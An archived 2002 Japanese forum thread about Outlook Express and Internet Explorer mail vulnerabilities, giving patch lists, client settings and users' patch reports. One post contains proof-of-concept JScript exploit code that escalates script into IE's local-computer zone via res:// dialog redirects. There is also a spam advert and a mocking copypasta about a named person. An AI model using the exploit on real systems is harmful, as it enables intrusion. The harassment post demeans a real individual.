OE(又はIEｺﾝﾎﾟｰﾈﾝﾄ使用ﾒｰﾗｰ)の問題点とその対策方法

・IEの脆弱性とその対策
（最近ではKlez、以前はnimdaやBadtransウイルスの蔓延の一因になった）
・IEコンポーネントを使用してHTMLメールを表示するメーラなどの問題点と対策
（OutlookExpressやBecky!など）
・ウイルスに感染しない、蔓延させないためのよりよいメーラの使用方法

等を建設的に話し合いましょう。
各自のお使いのメーラーの推奨設定、使用方法、アンチウイルスソフトとの
連携方法なども提示していただけると非常にありがたいです。

このスレッドは、「Klez.E、Kleaz系スレッド Part2」からの派生スレです。
http://pc.2ch.net/test/read.cgi/sec/1021137509/

現時点の最新OE/IEバージョン・パッチ情報は>>2-10、>>2-50

関連スレッド：
「ＩＥ５・５と６・０、ネット閲覧ソフトに欠陥」
http://pc.2ch.net/test/read.cgi/sec/1005605775/

＜＜メールに関連するIEの脆弱性と、対策方法について＞＞
HTMLメールを表示するために、IEコンポーネントを使用するメーラー
（有名どころではOutlook Expressなど）は、メールを開封、もしくは
プレビュー表示させただけで添付ファイルが実行されてしまうという
脆弱性が存在します。
（この脆弱性を利用して、感染被害を拡大させるウイルスが多数存在し、
現在でも世界中に蔓延しています。）

詳細は以下のMicrosoftのリンクを参照してください。
「不適切な MIME ヘッダーが原因で Internet Explorer が電子メール
の添付ファイルを実行する 《MS01-020》」
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS01-020

【対策が必要なソフト】
プレビューしただけで感染する恐れがあるソフト：
Windows95/98/98SE/ME/NT4/2000で、OutlookExpressを使用している方、
OutlookExpress以外でも、HTMLメール表示にIEコンポーネントを使用する
メーラーを使用している方で
・IE4を使っている人
・IE5.01、IE5.5で、SP2（サービスパック２）を当てていない場合
・IE6を、98,98SE,ME,NT4で最小インストールしたPC

バージョンは、ヘルプ→バージョン情報で確認できます。わからない人は下記を
参照してください。
・IEのバージョン確認方法
http://www2.ocn.ne.jp/~circle/IE_version.htm

【現時点で対策方法】
前述の《MS01-020》を含め、現時点までに明らかになっている脆弱性への
対策方法は以下の通りです。

・IE6.0（最小インストール以外）を使用している方
　→　《MS02-009》＋《MS02-015》を適用してください。
　（OSがXP、又は2000の方は最小インストールでも上記パッチのみでOK）
・IE6.0（最小インストール）を使用している方
　→　フルインストール、又は標準インストール後、《MS02-009》＋《MS02-015》を適用してください。
・IE5.5（サービスパックなし、またはSP1）を使用している方
　→　《IE5.5 SP2》＋《MS02-009》＋《MS02-015》の適用
・IE5.01を使用している方（OSが2000、NT）
　→　《IE5.01 SP2》＋《MS02-009》＋《MS02-015》の適用

・IE5.01を使用している方（OSがWin98、Me）
　→　《IE5.01 SP2》＋《MS02-009》の適用
　※Win98、Me向けのIE5.01に関するサポートは終了したため、《MS02-015》
　パッチはありません。今後のセキュリティ対策のために、IE5.5、もしくは
　IE6への移行を推奨します。

〜 サービスパック 〜
《IE5.5 SP2》http://www.microsoft.com/downloads/release.asp?ReleaseID=32082
《IE5.01 SP2》http://www.microsoft.com/downloads/release.asp?ReleaseID=28910

〜 修正パッチ 〜（ダウンロード先のリストから Japanese Language Version を選択）
《MS02-009》Internet Explorer の不正な VBScript 処理により Web ページがローカル
ファイルを読み取る
http://www.microsoft.com/windows/ie/downloads/critical/q318089/default.asp
《MS02-015》2002 年 3 月 28 日 Internet Explorer 用の累積的な修正プログラム
http://www.microsoft.com/windows/ie/downloads/critical/Q319182/default.asp


【対策後の確認】
・修正パッチを適用した場合は、バージョン画面の「更新バージョン」の行に
《MS02-009》を適用した場合は「q318089」が表示されていればOK.
（※《MS02-015》の適用分は表示されません）

・インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
IE5、5.5のSP2適用、又はIE6のフル／標準インストールを行った場合は
5.00.3314.2101 Internet Explorer 5.01 SP2 (Windows 95/98 and Windows NT 4.0)
5.00.3315.1000 Internet Explorer 5.01 SP2 (Windows 2000)
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2
6.00.2600.0000 Internet Explorer 6 (Windows XP)
のいずれかならばOK。

だから、OEは使うなって言ってるだろうが！

MSN チャット コントロールの未チェッ クのバッファによりコードが実行される (Q321661) (MS02-022)
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-022.asp
MSN Messengerに深刻なホール，すべてのIEユーザーは対策を
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20020509/1/

>>5
それだと、OEじゃなきゃ問題ないみたいように読めます。
私はBecky!ユーザーですが、Becky!もちゃんと対策しないと駄目
なんですよ。リムアーツのサイトのトップにも書いてあります。
Becky!の設定：
「全般的な設定」「HTMLの表示」の項で、「MSIEコンポーネントを使用」
のチェックをはずしていれば、HTMLのメールが添付として扱われますので、
それをダブルクリックしない限り感染することはありません。

それがダブルクリックする人もいるんですよね…「W32.Klez.E removal tools」
なんて件名で来たりすると。

>>4
【 訂正 】

【対策後の確認】
・《MS02-015》を適用した場合は、IEバージョン画面の「更新バージョン」の行に
「q319182」が表示されていればOK.
※《MS02-009》の適用分は表示されません

・インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
IE5、5.5のSP2適用、又はIE6のフル／標準インストールを行った場合は
5.00.3314.2101 Internet Explorer 5.01 SP2 (Windows 95/98 and Windows NT 4.0)
5.00.3315.1000 Internet Explorer 5.01 SP2 (Windows 2000)
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2
6.00.2600.0000 Internet Explorer 6
のいずれかならばOK。

XMLHTTP コントロールにより、ローカルファイルにアクセスすることができる (MS02- 008)
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-008.asp

マイクロソフト セキュリティ情報一覧(IE関連）
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/current.asp?sel_id=032&info=all&opttop=30

OutlookExpressでメールを自動的にプレビューさせない方法
1．メニューバーの［表示］を押します。
2．［レイアウト］を押します。
3．「プレビューウインドウ」のプレビューウインドウを表示するの
　　チェックボックスを外します。
4.［適用］ボタンを押してOKを押します。

これでメールはプレビューされません。
しかしウイルスから感染しなくなったのではないのでご注意ください。

>>ALL
オツ。
これでOEへの誤解も大方解けるというものじゃ。
また、初心者への啓蒙にも多いに作用することであろう。万歳!!

>>5のように根拠を示さないのは荒らしですので放置おながいします。

メールの添付ファイルの取り扱い5つの心得(IPAセキュリティセンター）
http://www.ipa.go.jp/security/antivirus/attach5.html

ブラウザのセキュリティを設定をする(IPAセキュリティセンター）
http://www.ipa.go.jp/security/ciadr/browser.html

ホームユーザー向け セキュリティ対策 早わかりガイド(マイクロソフト）
http://microsoft.com/japan/enable/products/security/

O.Eを使っててもパッチ当てて、AVソフトを入れとけばメール受信時
検出してくれるのでウィルスの侵入は防げる。
（最新パターンファイルを入れるのが遅かったらアウトだが）

そんなに心配しなくてもいいのでは？

>>17
うん、そうなんだけど。
アンチウイルスソフトの定義ファイルが出る前の新種villiだったら嫌だから、MS01-020のダイレクトアクションを防ぎたいだけ、かと。

>>17 チミ専用に調合された特製トロイだったらどうしる?

>>19
何を言いたいのかさっぱり不明なわけだが。

今日、Klez にやられた知人のPC復旧を手伝ったんだけど、
それでも頑なにOEを使い続けようとするんで、
その理由を聞いてみたところ、
とにかく、最大シェアを根拠に、MS純正＝ブランドであって、
それ以外の 3rd Party のメーラーを使うのはダサいってことらしい。

もしかして、こんな意識を持ってる初心者も多いのかもと、
ちょっと、盲点というか、意表を衝かれた感じだった。

WordはMSのだからいいワープロのはずだ、と信じている初心者と
似たようなもんじゃないかな。頑ななのにはこのテが多いな。
まあ、なんか入っているから、無料だからって感じで使っているケースの方が
多いかとは思うけど。こっちは他のを紹介されると動く可能性も。

「特別企画 Microsoftのメールとつきあう2番目に冴えたやり方」
http://www.watch.impress.co.jp/pc/docs/article/980401/41/mail/mail.htm

上のURLはちょうど４年前の「PCうおっち」のコラムです。
「PCうおっち」自体は年に一度の冗談企画なのですが、このコラムの中身は
全然冗談ではなく、当時のMSご謹製メーラーの実情と、問題点をよく書いていたと思います。
多分、このコラムが書かれた辺りですでにインターネットを使っていた
（もはや古株と言われてしまうかもしれない。もちろん私も（ｗ　）皆さんの
「MSと、MSご謹製メーラーに対する不信感」は、あの頃までに確立してしまっ
てなかなかぬぐい去れないんだろうなあ、と思っています。
だから今のOE批判者の意見には、一部同意してしまうところもあったり。

そういえば当時会社で使えと強制された、MSご謹製の「Internet Mail & News」
は本当にひでぇ代物で、それを元に作られたOutlookExpressは、それに比べる
と全然まともなメーラーだなあと感じてます。（あとは初期設定の件とMessage-ID
の件をなんとかしてもらえれば）
以上、年寄りの長文ﾃﾞｽﾀ。

>>20
俺、敵が多いからMSのパッチの公開までのタイムラグが重要。
普段からセキュリティ情報チェックしないと安心できない。

>>1
ながながとテンプレしてＯＥを啓蒙しているようだが
何もしらない初心者にはパッチ当てろっていっても
それすらなんのことだかわからんだろうよ。

>>25
パッチも知らないような初心者がここに来ることはないだろうよ。

>>25
PC初心者板だとそうかもね。

>>25
ここはNetwork Security板なんですが。
パッチも何も知らないような初心者が迷い込むようなところではありません。

誰かに「パッチ当てろゴルァ」っていうときに、まとまったテンプレがあると楽という
程度でよろしいんじゃないですか。意外とまとまった情報はないし。

「MS02-023 : 2002年5月15日 Internet Explorer 用の累積的な修正プログラ
ム (Q321232)」に関する要約情報です。
http://www.microsoft.com/japan/technet/security/bulletin/ms02-023ov.asp

概要
====
この修正プログラムは、Internet Explorer に影響を及ぼすセキュリティ上の
問題を排除する累積的な修正プログラムです。
以前に公開されたMS02-015 : 2002 年 3 月 28 日 Internet Explorer 用の
累積的な修正プログラムで修正された問題に加えて、新たに 6 つの問題を
排除します。

対象となる製品
==============
・Internet Explorer 6

・Internet Explorer 5.5 Service Pack 2

・Internet Explorer 5.5 Service Pack 1

・Internet Explorer 5.01 Service Pack 2 (Windows 2000 、
Windows NT4.0 に組み込まれているもののみ)

修正プログラム
==============
・Internet Explorer 6
http://download.microsoft.com/download/IE60/secpac27/6/W98NT42KMeXP/JA/q321232.exe

・Internet Explorer 5.5 SP2 and Internet Tools
http://download.microsoft.com/download/ie55sp2/secpac27/5.5_sp2/W98NT42KMe/JA/q321232.exe

・Internet Explorer 5.5 SP1 and Internet Tools
http://download.microsoft.com/download/ie55sp1/secpac27/5.5_sp1/W98NT42KMe/JA/q321232.exe

・Internet Explorer 5.01 SP2
http://download.microsoft.com/download/ie501sp2/secpac27/5.01_sp2/NT45/JA/q321232.exe

詳細
====
この修正プログラムをインストールすることにより、悪意のあるユーザー
による以下の攻撃を防ぐことができます。


(高) クロスサイトスクリプティング (CSS) により、スクリプトを
ローカルコンピュータゾーンで実行される可能性がある問題です。

(高) ローカルコンピュータ上のファイルを読み取ることができる問題です。
しかし、この問題はファイルの場所を事前に知られていない限り悪用されるこ
とはありません。また、ファイルの削除、変更などが行われることも
ありません。

(高) 本来読み取ることができない、クッキー情報が読み取られる問題です。

(中) ファイルをダウンロード際の処理に問題があったために、スクリプトや
意図しないファイル実行される可能性がある問題です。

(低) Internet Explorer のゾーン判定を回避して、スクリプトが
イントラネットゾーンまたは、信頼されたゾーンで実行される
可能性がある 2 つの問題があります。

対策が行われていないシステムがインターネットなどのネットワークを通じて
他のコンピュータと接続している場合、この問題を利用した悪影響を受ける
ことがあります。 この攻撃は、ハッカーまたはクラッカーと呼ばれる
悪意のあるユーザーや、ワームといった自動的な攻撃を目的とした
悪意のあるプログラムから行われることがあります。

・ディスク上の任意のファイルが読み取られます。しかし、削除、変更が
行われることはありません。

・意図しないスクリプトが実行されます。

・アプリケーションが実行されます。 (通常悪意のあるアプリケーション
であり、ハードディスクのフォーマットなどが実行されてしまいます)

日本語による詳細については、ただいま準備中です。

【対策後の確認】
・修正パッチを適用した場合は、バージョン画面の「更新バージョン」の行に
《MS02-023》を適用した場合は「q321232」が表示されていればOK

>>30
おつです！当ててきます。

人柱さまのレポートきぼんぬ

>28
残念ながら想像できないことが起きています。
こうして２ちゃんの良い板がまたひとつ死んでいく。

>>35 もしかしてセキュ板にDQNが誘導されてきている？

>>35
２ちゃんに良い板なんかあるのか？

>>37
ﾜﾗﾀ

これ見て無いとけ。いい板ぞろいだ。
泣ける2ちゃんねる。
ttp://hiroshu29.tripod.co.jp/

q321232は「Win2000 SP2+SR1」で問題無しでした。

同じくWin2000 SP2+SR1で今のところ大丈夫

Win ME + IE6にq321232当てたら再起動選択時にブルースクリーンに。
その後確認したら、パッチは無事当たっていた模様。

Win2K IE5.5 SP1 ＋《MS02-009》＋《MS02-015》な環境です。
《MS02-023》、無事適用できました。

var site = window.parent.dialogArguments.url;


function printSite()
{
document.write( site);
}
<script>
var sCode = '<'+'script>alert("This is running from: " +
location.href);top.close()</'+'script>';
window.showModalDialog("redirect.asp", {url:sCode})
</script>
<%@Language=Jscript%><%
Response.Redirect("res://shdoclc.dll/policyerror.htm");
%>

<script language="jscript">
// HTML to be injected (will run in the "My Computer" zone)
var sHTML="<b>We're in!</b>";

// Object to return from tags("link"), must be a function because they use
// objects(i) instead of objects[i], VB style collection access.
function oExploit(iSec) {
����return {
��������// Satisfy line 201
��������rel:"stylesheet",

��������// Satisfy line 204
��������readyState:"exploit",

��������// Exploit line 205
��������href:sHTML
����};
}

// A length property so it will enter the loop
oExploit.length=1;

// A fake window object, so no errors will be raised during the process,
// the custom "tags" method will return an empty array for any element
// other than our target (<link>), in which case it will return the oExploit
// object above.
var oSecurity={
����document:{
��������all:{
������������tags:function (sTag) {
����������������return sTag=="link" ? oExploit : [];
������������}
��������}
����}
}

// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg
// and oSecurity (fake window) is sent as the dialog argument.
showModelessDialog("getFile.asp",oSecurity);
</script>

Win98SE IE5.5SP2です。無事当たりました。

>>40-41 「Win2000 SP2+SR1」で問題無
>>42 Win ME + IE6にq321232あてるとブルースクリーン。パッチはあたる
>>43 Win2K IE5.5 SP1 ＋《MS02-009》＋《MS02-015》問題なし
>>47 Win/ME IE6.0パッチあてた後に電源オフ。その後電源オンでスキャンディスクが走った。急いでたので電源オフが半端だったかも。

Win2000 SP2+SR1(IE6)で問題なしでした。追記します。

winMeでIE6すが、q321232問題なしでしたよ

私もWinMe IE6でq321232出来ました。ところでVB2002常駐のままで
実行してよかったのかなァ
初心者的疑問かも。

Win98 IE5.5SP2でし。q321232問題なし

夜逃げしたい？
金欠？
ブラック？
別れさせたい？／騙された？／不良債権・名義貸し？
トラブル各種は相談してくれ。
（有）エスアールエー／0120-0120-49
[email protected]

・以下のバージョンでかつq318089とQ321232がついていればOK。
・インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
　5.00.3315.1000 Internet Explorer 5.01 SP2 (Windows 2000SP2,NT4.0SP6aのみ)
　5.50.4807.2300 Internet Explorer 5.5 Service Pack 2
　6.00.2600.0000 Internet Explorer 6（Win98/MEはフルまたは標準インストールのこと）
　のいずれか。
・q318089がついていなければ
　http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-009.asp
　の修正パッチを当てる。
・Q321232がついてなければ
　http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-023.asp
　の修正パッチを当てる。

・以下のバージョンでかつQ321232がついていればOK。
・インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
5.00.3315.1000 Internet Explorer 5.01 SP2 (Windows 2000SP2,NT4.0SP6aのみ)
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2
6.00.2600.0000 Internet Explorer 6（Win98/MEはフルまたは標準インストールのこと）
のいずれか。
・Q321232がついてなければ
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ ms02-023.asp
の修正パッチを当てる。
・MS02-009については以下のページで確認の上該当パッチを当てる。
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ ms02-009.asp
バージョンに表示されません。

リンクがうまくコピーできてなかったので再度ｽﾏｿ

・以下のバージョンでかつQ321232がついていればOK。
・インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
　5.00.3315.1000 Internet Explorer 5.01 SP2 (Windows 2000SP2,NT4.0SP6aのみ)
　5.50.4807.2300 Internet Explorer 5.5 Service Pack 2
　6.00.2600.0000 Internet Explorer 6（Win98/MEはフルまたは標準インストールのこと）
　のいずれか。
・Q321232がついてなければ
　http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-023.asp
　の修正パッチを当てる。
・MS02-009については以下のページで確認の上該当パッチを当てる。
　http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-009.asp
　バージョンに表示されません。

MS02-09のｑ318089はバージョンに表示されなんですよね。
当てたかどうか忘れちゃったんだけど、確認する方法ないですか？
もう一回当てても不具合ないでしょうか？

>>56
http://support.microsoft.com/default.aspx?scid=%2Fisapi%2Fgomscom%2Easp%3Ftarget%3D%2Fjapan%2Fsupport%2Fkb%2Farticles%2Fjp318%2F0%2F89%2Easp&LN=JA

>>57
そこを見てもよくわからないんですが・・・・

>>58
もういっかいあてれ。
問題なし

>>59
ありがとう。そうします。

age

EdMAX使ってるんだけど、とりあえず大丈夫？

270 名前：参加するカモさん ：02/05/20 07:43
西村って話し方変わったね
なんだか淡々としてクールでかっこよくなったね
でも本当の西村とはちょっと違うような気がするなあ
今は誰に憧れて誰の真似をしてるのかなあ
中学の頃は東京ラブストーリーの「完治」に憧れてたよねえ
放送日の翌日はｶﾞﾝｶﾞﾝに完治に成りきっちゃって、あのもどかしい喋り方を連発してたよねえ
今だから言うけど、そんな西村のことみんな「気持ち悪い」って言ってたよ

それから西村って中学に入って急に背が伸びたよね
でもどうして学生服は取り換えなかったの？
ズボンはくるぶしが丸見えだったし、学生服は腰までしかなかったじゃん
あんな恰好で完治に成りきられても、ちょっとねぇ、、って感じだったよ
今だから言うけど、そんな西村のことみんな「気持ち悪い」って言ってたよ

ついでに言っちゃうけど、西村って給食を飲み込む瞬間、どうしてあんなに目を見開くの？
癖なのかも知れないけど、なんか牛みたいでおかしかったよ
女子の間では給食の時間に「ひろゆきを見てはいけない」という黄金律があったんだよ
今だから言うけど、そんな西村のことみんな「気持ち悪い」って言ってたよ

重要 : MS02-023 セキュリティ情報の公開時点では、ローカル HTML リソースの
クロスサイト スクリプティング (CVE-CAN-2002-0189) の問題による、IE 6 以
外のバージョンに対する脆弱性は確認できませんでした。しかし、この問題の報告
者より他のバージョンについても同様の問題があるとの連絡を受け、弊社でも現在
確認を行っております。他のバージョンに対する詳細が確認でき次第このページに
てご案内いたします。
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/MS02-023.asp

http://www.lac.co.jp/security/intelligence/SNSAdvisory/48.html

>>62
Becky!同様、大丈夫とは言い切れない。
Edcomの http://www.edcom.jp/edmax/avirus.html 読むよろし。

PostPet（Windows版）に添付ファイルを強制実行する脆弱性
http://headlines.yahoo.co.jp/hl?a=20020525-00000001-vgb-sci

IEのパッチで修正される，Outlookの“隠された”セキュリティ・ホール
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20020524/1/
(閲覧にはメンバー登録必要−無料）

パッチ適用後も１４種類のセキュリティホールが残る？
"Unpatched IE security holes"
http://jscript.dk/unpatched/

>>65
ありがとうございます。設定をちゃんとやっておけばいいんですね。
デフォルトのままなので、とりあえず大丈夫・・かな？

2002 年 5 月 15 日 Internet Explorer 用の累積的な修正プログラム
(Q321232) (MS02-023)
この問題に対する日本語版 KB を公開しました。次のリンク先をご覧下さい。
http://www.microsoft.com/JAPAN/support/kb/articles/JP321/2/32.asp

最新情報は次のサイトでご確認ください。
http://www.microsoft.com/japan/technet/security/bulletin/ms02-023.asp
登録日 : 2002/5/16　更新日 : 2002/5/30

何だかんだいってOEはデザインだけなら一番好き。
OEのセキュリティホールを狙ったウイルス被害はデザインをマトモにしない3rdメーラーの作者のせいにしてやる

>>71
変な考え方。

IE 5.5/6に深刻なホール，対策はGopherプロトコルを無効にすること

フィンランドのセキュリティ・ベンダー「Oy Online Solutions」は現地時間6月
4 日，Internet Explorer（IE）5.5/6 のセキュリティ・ホールを公表した。Web
ページや HTMLメール中のリンクをクリックすると，ユーザーのパソコン上で任意
のコード（プロ グラム）を実行させられる恐れがある。対策は，IEの設定を変更
してGopherプロトコ ルを無効にすること。パッチは公開されていない。
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20020607/1/

>>73
ひとまず対処しますた。ありが�d

>>73
このスレッドは一応タイトルがメーラー関係だから↓の方がよかったかな
ＩＥ５・５と６・０、ネット閲覧ソフトに欠陥
http://pc.2ch.net/test/read.cgi/sec/1005605775/

>>73 MSが公表。http://pc.2ch.net/test/read.cgi/sec/1005605775/703とマルチｽﾏｿ
MS02-027 に関する情報
「MS02-027: Gopher プロトコル ハンドラの未チェックのバッファにより、
攻撃者の任意のコードが実行される (Q323889)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-027ov.asp

OEとは関係ないがIEに関係するので…
「MS02-032: 2002 年 6 月 26 日 Windows Media Player 用の累積的な
修正プログラム (Q320920)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-032ov.asp
クライアント―危険度高
特殊なメディア・ファイルを再生することで、 Internet Explorer のキャッシュ
を保存しているディレクトリ (フォルダ) のパスが公開される可能性のある問題です。

>>78
Windows Updateで更新可能ですた。

ひろみちゅがBecky!のセキュリティホール晒しちゃってるけど、
「OE使うやつ糞、Becky!使え」つってたﾔｼはどういうんだろう。 (w

OEよかはるかにヘボな穴だよなぁ。他の(国産)メーラも同様の穴があるぽ。

一般論だけど、ちょっとした見落としとかあとから見ると
「ヘボな穴」てのは案外あるみたい。
IEやOEの場合、ユーザーが多いからねらわれるもので、
ちょっとした穴でも表沙汰になるてのはありそうだけどね。

Outlook2002でhtmlメルを全てテキストにしちゃえば、割とセキュアな予感。

そうは言っても、いつも南の島とか子犬の画像を貼り付けたhtmlを送る漏れは、困った人なんだろうか。

WebBUG貼り付けて開封確認してる俺よりは健全かと…

一般的にOE特有のセキュリティホールをついたものはOE以外は関係なかったりするけど、
IEに対するセキュリティホールをついたものはOEでなくても
IEコンポーネントをHTMLメール表示の手段に用いているメーラは感染する危険がある。

…ということはNetscape MessengerかShurikenを使えってこと!?

>>80 Becky!の古いバージョンに添付ファイルが強制起動されるセキュリティホール
http://memo.st.ryukoku.ac.jp/archive/200206.month/4294.html

Beckyの公式ページ　http://www.rimarts.co.jp/becky-j.htm

>>84
今回のはIEコンポーネントを使ってるせいじゃなく一時ファイルのハンドリングの問題、
OEではとっくに対処済みにもかかわらず、指摘されるまで放置されていた。

前に書いた事あるような気がするけど、OE以外の(特に国産の)メーラは検証されてないから
セキュリティホールが見っかって無いだけだって事が実証されたね。

! ! ! O E 使 え ! ! ! (w

デフォでhtml読むのとプレビュonなのが
初心者には最凶の欠陥だと思うのだが・・・

漏れも、常用ブラウザはOperaなのに、気に入ったメーラーが見つからなくて
結局OE6.0使ってる。もちろんたまにしか使わないIEのパッチはせっせと
当てているが。
OEもデフォルト設定見直すだけで随分とマシになると思う。

[email protected]「A WinXP patch」
[email protected] 「Undeliverable mail--\\\"Φ楫\\\"」
[email protected] 「Scrolling」
[email protected]「溺豕楫」

ウイルスメールを添付してくるメルアド。

( ﾟДﾟ)ﾊｧ?

>>86
何もわかってない人以外は、「HTMLメールを表示」なんて
とっくにオフにしてしまってると思いますが。
その辺はどうなんだろうか？＞Becky!使いの方々。

その「何も分かってない人」のせいでこれだけウィルスが広まってると思うんだが。
ウチの職場なんてhtml、ﾌﾟﾚﾋﾞｭOffの奴ほとんどおらんかったぞ。
どこの職場でも似たような惨状だろう。だからパソコン買って始めて使う
メーラがOEって現状がやばすぎるんでないかと。

>>91>>92
あの、すんません。
俺、「HTMLメールを表示」なんて項目をオフにした覚えが無くて慌ててオプション探したんですが見つからず、
調べてみても
デフォの送信をテキスト形式にする
プレビューoff
次の時間プレビューするとメッセージを開封済みにする
プレビューウィンドウで表示するメッセージを自動的にダウンロードする
のチェックをはずすくらいしか解説してなかったり…

どこっすか？　今までに一通もHTMLメール来た事無いけど、設定しとかないと不安です…

>>93
>「HTMLメールを表示」なんて項目
91、92じゃ無いけど横から失礼。そいいう項目は「無い」。
あくまで「送信時の形式をhtmlかtextか」選択するだけ。html形式で送信
されるメールによって伝播するウィルスが有るのは確かだから、自分が
加害者になるのを防げるだけ。

で、以下は極論（識者の反論歓迎）
htmlメール見るなっていうのは「交通事故おこしたく無いなら車運転するな」
っていうのと同じでナンセンス、というのが俺の考え。html形式のメールは
text形式のメールでは表現できない良さが有るし、それ自体が悪ではない。
http://japan.internet.com/wmnews/20020624/1.html
こういう話も有る。
不安になるくらいだからAVソフトの導入くらいはやってるんだろう？
そうなら、恐れるな。
・添付ファイルを安易に実行しない。
・プレビューをオフ（これもフィルタールールを設定してうまく振り分ければ
を俺は必要無いと思うが）
で充分だよ。

>>93-94
>>91-92はBecky!の話題です。OEと勘違いしてませんか？

>>95
ああ、確かにOEと勘違いしてました。スマン。
鬱田シノウ

IE６なんですけど、最近ネットしてるとHDDがカリカリいって、少しフリーズして
「このエラーを鯖に送信しますか」とメッセージが出てIEが終了します
何度も同じエラーが起こるので、修復しましたが、又同じエラーがでます
アップデートも、ちゃんとしてるのに原因はなんでしょうか？

>>97 仕様だよ(w　漏れのもたまに出るよ。

>>98
たまじゃなくて、毎日出ますよ〜　修正パッチとか無いのかな？

うんな糞、使わなければ解決だ（ｗ

>>97
俺もだ

>>94
WebBUG仕込まれるぞ。

WORM_FETHEM、W32.Frethem.J@mmはInternet Explorerのセキュリティホールを突く
ので、OEのプレビューだけで感染します。プレビューOFFにする、最新のバージョンに
しておくこと。
IE/OEの最新バージョン情報は>>55　プレビューの切り方>>11
バージョン確認方法はhttp://www2.ocn.ne.jp/~circle/IE_version.htm

バージョン確認方法リンク切れｽﾏｿ。
IE：ヘルプ→バージョン情報

それにしても、いいかげんプレビューで感染は言わなくてもいいのに決まり文句になってるね。
もう6か5.5SP2(か5.01SP2)にしてないでプレビューで感染したら自業自得だと思う。
（あえて前の使ってる人は最低でもプレビューなんかしてないはず）
新しい穴の予知でもしてるのかな

>>105 いまだに知らない人がいるのだからプレビュー感染告知して当然だろ。
自分が知っているからといって、自業自得は言い過ぎ。

>>3-4
《MS02-009》を適用したが「q318089」が表示されないぞ。

winMe
ie6標準インストール

このスレの8を見てみそ

あの〜　初心者的な質問かも知れませんけど、、

OEのメールログファイル(.dbxファイル）の中身をワードパッドで見ると、
ほとんどの中身は暗号化されてて解らないんですけど、
はじめと終わりの方だけ暗号化されてなくて、
しかも，内容が２ｃｈのログとかなんです。

２ｃｈみるのはかちゅーしゃ使ってますけど、OEのログファイルに
かちゅのログが残るって変ですよね？？
virusは検出されてないんですけど、何が問題なんでしょうか？

>>109 気にすることはないと思う。
確かめてみたが一部にInternet Explorerの履歴が残っているみたいだ。
かちゅはIEのコンポーネント使ってたっけ？

>>106
＞ 自分が知っているからといって、自業自得は言い過ぎ
そうか？
105ではないけど、半ば自業自得だと思う。
プレビューしただけで感染する危険性があるっていう情報は、
2ちゃんでなくても、ネット上でいやと言うほど溢れてるわけだし。
（"プレビュー感染"は事あるごとに告知するべきだとは思う）

そもそもウィルスに感染する大半は、
セキュリティ関連情報を収集するようなこともせず、
当然　バージョンアップもパッチあてもしないで、
デフォで使っている初心者or初級レベルのユーザーだろ。
（"大半"は言い過ぎかもしれんが、過半数以上はそうだと思う）

初心者だからこそ情報収集を積極的にしなきゃいかんし、
どんな理由であれ、それをしないのはユーザーの怠慢だと思う。

>>110
つこてる

>>112 Thanks.

MS02-027Gopher問題のIE用パッチなかなか出ないなぁ。
IE6SP1はいつ出るのやら・・・

MS02-027Gopher問題のIE用パッチなかなか出ないなぁ。
IE6SP1はいつ出るのやら・・・

>>114-115
「MS02-047: Internet Explorer 用の累積的な修正プログラム (Q323759)」
http://www.microsoft.com/japan/technet/security/bulletin/ms02-047ov.asp
にてGopher問題に対処。
http://pc.2ch.net/test/read.cgi/sec/1005605775/755

・以下のバージョンでかつQ323759がついていればOK。
・インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
5.00.3315.1000 Internet Explorer 5.01 SP2 (Windows 2000SP2またはSP3のみ)
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2
6.00.2600.0000 Internet Explorer 6（Win98/MEはフルまたは標準インストールのこと）
のいずれか。
・Q323759がついてなければ
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-047ov.asp
の修正パッチを当てる。
・MS02-009については以下のページで確認の上該当パッチを当てる。
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ ms02-009.asp
バージョンに表示されません。

なお、Q323759の対象からNT4.0SP6aがはずされたのでIE5.01SP2はWindows2000でのみ最新状態となった。
Q323759は以前に公開された MS02-023 : 2002 年 5 月 15 日 Internet Explorer 用の累積的な修正プログラム (Q321232) の修正を含む。

MS02-009のリンクがうまく行ってないので再度ｽﾏｿ

・以下のバージョンでかつQ323759がついていればOK。
・インターネットエクスプローラのバージョン確認は、バージョン確認の「バージョン」で確認。
5.00.3315.1000 Internet Explorer 5.01 SP2 (Windows 2000SP2またはSP3のみ)
5.50.4807.2300 Internet Explorer 5.5 Service Pack 2
6.00.2600.0000 Internet Explorer 6（Win98/MEはフルまたは標準インストールのこと）
のいずれか。
・Q323759がついてなければ
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-047ov.asp
の修正パッチを当てる。
・MS02-009については以下のページで確認の上該当パッチを当てる。
